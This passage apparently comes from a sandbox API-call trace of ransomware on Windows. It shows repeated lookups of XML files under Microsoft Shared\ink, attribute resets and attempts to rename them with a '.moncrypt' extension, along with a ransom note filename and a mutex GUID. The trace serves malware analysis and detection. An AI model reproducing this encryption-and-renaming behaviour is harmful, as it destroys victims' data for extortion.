lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xmlp", lpUsedDefaultChar=0x0) returned 76 [0046.274] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\oskmenu.xmlp", lpUsedDefaultChar=0x0) returned 4 [0046.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 0x54e240 [0046.274] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.274] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.274] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", dwFileAttributes=0x20) returned 0 [0046.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.moncrypt")) returned 0 [0046.275] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.275] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.275] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.275] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.275] GlobalUnlock (hMem=0x44000c) returned 0 [0046.275] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.275] GlobalLock (hMem=0x440004) returned 0x554190 [0046.275] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.275] GlobalUnlock (hMem=0x44000c) returned 0 [0046.275] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.275] GlobalUnlock (hMem=0x440004) returned 0 [0046.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.276] CharLowerBuffW (in: lpsz="osknumpad.xml", cchLength=0xd | out: lpsz="osknumpad.xml") returned 0xd [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.276] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\osknumpad.xmlt", lpUsedDefaultChar=0x0) returned 4 [0046.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 0x54e240 [0046.276] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.276] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.276] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", dwFileAttributes=0x20) returned 0 [0046.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.moncrypt")) returned 0 [0046.281] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.281] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.281] GlobalLock (hMem=0x440004) returned 0x552180 [0046.281] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.281] GlobalUnlock (hMem=0x440004) returned 0 [0046.281] GlobalLock (hMem=0x440004) returned 0x552180 [0046.281] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.281] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.281] GlobalUnlock (hMem=0x440004) returned 0 [0046.281] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.281] GlobalUnlock (hMem=0x44000c) returned 0 [0046.281] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.281] CharLowerBuffW (in: lpsz="oskpred.xml", cchLength=0xb | out: lpsz="oskpred.xml") returned 0xb [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.281] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\oskpred.xmlp", lpUsedDefaultChar=0x0) returned 4 [0046.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 0x54e240 [0046.282] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.282] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.282] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", dwFileAttributes=0x20) returned 0 [0046.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.moncrypt")) returned 0 [0046.282] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.282] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.282] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.282] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.282] GlobalUnlock (hMem=0x44000c) returned 0 [0046.283] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.283] GlobalLock (hMem=0x440004) returned 0x554190 [0046.283] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.283] GlobalUnlock (hMem=0x44000c) returned 0 [0046.283] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.283] GlobalUnlock (hMem=0x440004) returned 0 [0046.283] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.283] CharLowerBuffW (in: lpsz="symbols.xml", cchLength=0xb | out: lpsz="symbols.xml") returned 0xb [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.283] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\symbols.xmlp", lpUsedDefaultChar=0x0) returned 4 [0046.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0x54e240 [0046.283] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.283] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.283] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", dwFileAttributes=0x20) returned 0 [0046.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.moncrypt")) returned 0 [0046.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.288] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.288] GlobalLock (hMem=0x440004) returned 0x552180 [0046.288] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.288] GlobalUnlock (hMem=0x440004) returned 0 [0046.288] GlobalLock (hMem=0x440004) returned 0x552180 [0046.289] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.289] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.289] GlobalUnlock (hMem=0x440004) returned 0 [0046.289] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.289] GlobalUnlock (hMem=0x44000c) returned 0 [0046.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.289] CharLowerBuffW (in: lpsz="web.xml", cchLength=0x7 | out: lpsz="web.xml") returned 0x7 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, 